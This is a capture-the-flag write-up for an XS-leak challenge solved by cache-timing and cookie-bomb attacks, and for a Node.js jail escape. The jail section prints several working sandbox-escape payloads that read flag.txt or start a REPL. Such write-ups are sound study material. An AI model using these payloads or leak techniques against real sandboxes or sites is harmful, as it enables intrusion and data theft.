I didn’t check all the challenges this time because when I joined the competition, most of the challenges already solved by my teammates lol
I love JavaScript(yep, including those weird features) and XS-leak, so this writeup will talk about only two challenges:
- web/Sustenance
- misc/CaaSio PSE
web/Sustenance
It’s a very simple app:
1 | const express = require("express"); |
There are two features:
- You can set any cookie
- You can search whether certain characters exist in the flag
There is no way to perform XSS, so it’s obviously a challenge about XS-leak.
Since it’s XS-leak, we must observe what is the difference between “found” and “not found”.
The search query is like this: /q?q=actf
, if it’s found, it will redirect to/?m=your search...at 1651732982748 has success....
and not found will redirect to/?m=your search...ar 1651732982748 has failed
There are two differences between success and failure:
- URL is different
- The content of the page is different
At the beginning, the direction I tried was cache probing, because the visited pages will be stored in the disk cache, so as long as you use the method of fetch with force-cache
, you can judge whether it is in the cache according to the time difference. As for the timestamp on the URL, just set a range such as 1~1000 to brute force.
Because of the default SameSite=Lax, you can only use window.open
for top-level navigation when searching, otherwise the cookie will not be sent.
The biggest problem is that Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
, but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf .co/?m=xxx)
, the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
I also discussed with my teammates whether we can use the cookie bomb to do something since we can set cookies, but we didn’t find any way to exploit after the discussion.
Then I tried to use the method in the pbctf 2021 Vault, use a:visited
to leak the history, but I found that it’s not work in headless Chrome. It works in my local Chrome, but not in headless mode, the time to render the visited link is always fast(like 16ms).
After a while, lebr0nli posted a POC on the channel about cache probing, which is modified from Maple’s writeup. The point is “we can use other same site domain to bypass cache partitioning”.
For example, the URL for the other challenge is https://xtra-salty-sardines.web.actf.co/
, if you use fetch from that domain, the cache key will also be (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)
because cache key only take eTLD+1 into account. So same site, same cache key.
The problem he encountered is that it works on local, but on remote it’s always false positive. So I made another one based on his POC, tried to send back some more data, and found that the problem was that the server was running pretty fast.
For example, if there is a cache, it takes 3ms, and if there is no cache, it only takes 5ms. The difference is very small. Even the timestamp part is also within 10ms after window.open
.
Therefore, I modified the exploit script and calculated the average time of cache at the remote end, and successfully leaked the flag. The script is as follows:
https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722
1 |
|
We can leak the charset first, and the speed will be much faster. There are still some parts that can be improved, and the speed should be faster.
Later, teammates posted another writeup: UIUCTF 2021- yana, it seems that headless chrome has no cache partitioning at the moment.
I tested it myself and found that it is still the same now, so actually we don’t need other same site domain. It still works if you put this exploit on your own website.
Intended
The intended solution should be the cookie bomb I mentioned above. First, set a lot of cookies, and then use the feature that the URL of success and failure are different.
If successful, the URL will be longer, the request will be too large to handle by the server so return an error http status code. If the search fails, nothing will happen because URL is short.
The script below is from Strellic, you need to run it on another same site domain:
1 | <>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form> |
Here are a few details to note:
- If the request is too large, the server will return an error(status 413 or 431 I think)
- Because it is the same site,
<script>
will automatically carry a cookie when sending a request - You can use the onload/onerror event of script to detect whether the http status code is successful or not
misc/CaaSio PSE
It’s a jsjail with strong restrictions:
1 | #!/usr/local/bin/node |
It’s east to bypass VM, we can use this.constructor.constructor('return ...')()
. But the difficult part is about the limited charset, we can’t use all string related symbol, also .[]();>
is not allowed.
After trying for a while, I recalled that we can use with to access property, like this:
1 | with(console)log(123) |
For string, we can use regexp to bypass, like this:/string/.source
.
I also thought about decodeURI
but haven’t try it, there are a lot of people solve it this way, like lebr0nli:
1 | eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() |
If regexp is converted into a string, there will be one /
at the start and the other at the end. We can solve this issue by adding /\n
to the regexp, it will be combined with the previous one like this:
1 |
|
The idea is similar to the XSS challenge I made.
Anyway, here is the basic structure for my payload:
1 | with(/console.log(1)/)with(this)with(constructor)constructor(source)() |
Just replace console.log(1)
to the real code, the code we want to run is:
1 | return String(process.mainModule.require('fs').readFileSync('flag.txt')) |
String()
is not required, just for better readability for the flag.
Then, we can use with
to rewrite the code:
1 | with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) |
Since single quote is not allowed, we can make it a variable first, then think about how to remove it.
1 | with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) |
Now, the last part is to generate a string. We can do it via String.fromCharCode
:
1 | with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) |
The final exploit just combined the code above with the structure, I formatted the code a bit for better readability:
1 | with( |
Other solutions
I learned a lot from Maple‘s writeup, for example, we can use with(a=source,/b/)
to deal with the shadowing problem.
1 | with(/a/)with(/b/)console.log(source) |
You can only get /b/.source
, not /a/.source
because it’s shadowed. We can solve this by assigning the value to a variable before next with
:
1 | with(/a/)with(a=source,/b/)console.log(a,source) |
Apart from these, he also uses require('repl').start()
to start the repl mode, it’s a very smart move because you can run any code without the length limit.
Below is Maple’s payload:
1 | with(/with(process)with(mainModule)with(require(x))start()/) |
Here is the payload from the author, the intended is without regexp:
1 | with(String) |
This solution is smart because of the variable part. It uses variable to save the space.
We can combined this with Maple’s solution:
1 | with(String) |
It can be shorter if we replace the first constructor
to something else, we can search for the function in Object.prototype
1 | for(let key of Object.getOwnPropertyNames((obj={}).__proto__)) { |
The shortest is valueOf
:
1 | with(String)with(f=fromCharCode,this)with(valueOf)with(constructor(f(r=114,e=101,116,117,r,110,32,p=112,r,111,99,e,s=115,s))())with(mainModule)with(require(f(r,e,p,108)))start() |
It’s 177 in length.
For another kind of solution using unescape
, I modified the payload from @fredd and got 115 in length in the end.
1 | eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) |